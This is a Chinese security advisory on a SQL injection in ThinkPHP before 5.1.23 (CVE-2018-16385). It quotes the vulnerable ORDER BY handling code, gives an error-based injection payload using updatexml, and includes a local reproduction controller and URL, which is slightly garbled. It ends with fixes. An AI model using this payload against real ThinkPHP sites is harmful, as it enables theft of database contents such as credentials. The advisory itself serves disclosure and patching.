0x00 【漏洞预警】ThinkPHP v5.1.22版本曝出SQL注入漏洞
近日,ThinkPHP又曝出SQL注入漏洞,ThinkPHP以前曝出的SQL注入漏洞已经不少了,6月份就曝过“update”和“insert”类型的注入。由于其庞大的用户数量,还是需要重视一下。该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。建议相关用户及时检查是否使用存在漏洞的版本,排查后门,更新版本,避免造成损失。
CVE编号
CVE-2018-16385
受影响版本
版本< 5.1.23
用户分布情况
下面是ThinkPHP全球用户分布情况(非漏洞影响情况),有23w用户。其中中国有18w+用户,美国3.3w用户,其他国家用户相对少得多。
下面是ThinkPHP全国用户分布情况(非漏洞影响情况),浙江有8w+用户,北京2.7w+用户,广东1.1w用户。
漏洞分析
这次漏洞代码位于"/thinkphp/library/think/db/Builder.php"文件中,以下是漏洞代码:
protected function parseOrder($query, $order)
{
if (is_array($order)) {
$array = [];
foreach ($order as $key => $val) {
if (is_numeric($key)) {
if ('[rand]' == $val) {
$array[] = $this->parseRand($query);
} elseif (false === strpos($val, '(')) {
$array[] = $this->parseKey($query, $val);
} else {
$array[] = $val;
}
} else {
$sort = in_array(strtolower(trim($val)), ['asc', 'desc']) ? ' ' . $val : '';
$array[] = $this->parseKey($query, $key) . ' ' . $sort;
}
}
$order = implode(',', $array);
}
return !empty($order) ? ' ORDER BY ' . $order : '';
}
protected function parseKey($query, $key)
{
return $key;
}
如果我们传入orderby[username|updatexm l(1,concat(0x3a,user()),1)%23]=1,经过“$array[] = $this->parseKey($query, $key) . ' ' . $sort”;这里$sort为空,parseKey方法直接返回$key值!然后“ $order = implode(',', $array);”,这里把数组用逗号合并为字符串,最后经过“return !empty($order) ? ' ORDER BY ' . $order : '';”返回未作任何处理的order by语句。
本地复现
在/application/index/controller/文件夹下建立Index.php文件,内容如下:
<?php
namespace app\index\controller;
class Index{
public function index() {
$data=array();
$data['username']=array('eq','admin');
$order=input('get.orderby/a');
$m=db('user')->where($data)->order($order)->find();
Sdump($m);
}
}
?>
然后访问“http://127.0.0.1/public/?orderby[username|updatexm l(1,concat(0x3a,user()),1)%23]=1”),1)%23]=1”) ,即可触发漏洞。
修复建议
1 升级ThinkPHP到最新版本
2 部署waf和防火墙等安全防护设备
3 对order by语句处理流程加上数组分支安全校验。
https://github.com/top-think/fr amework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c
引用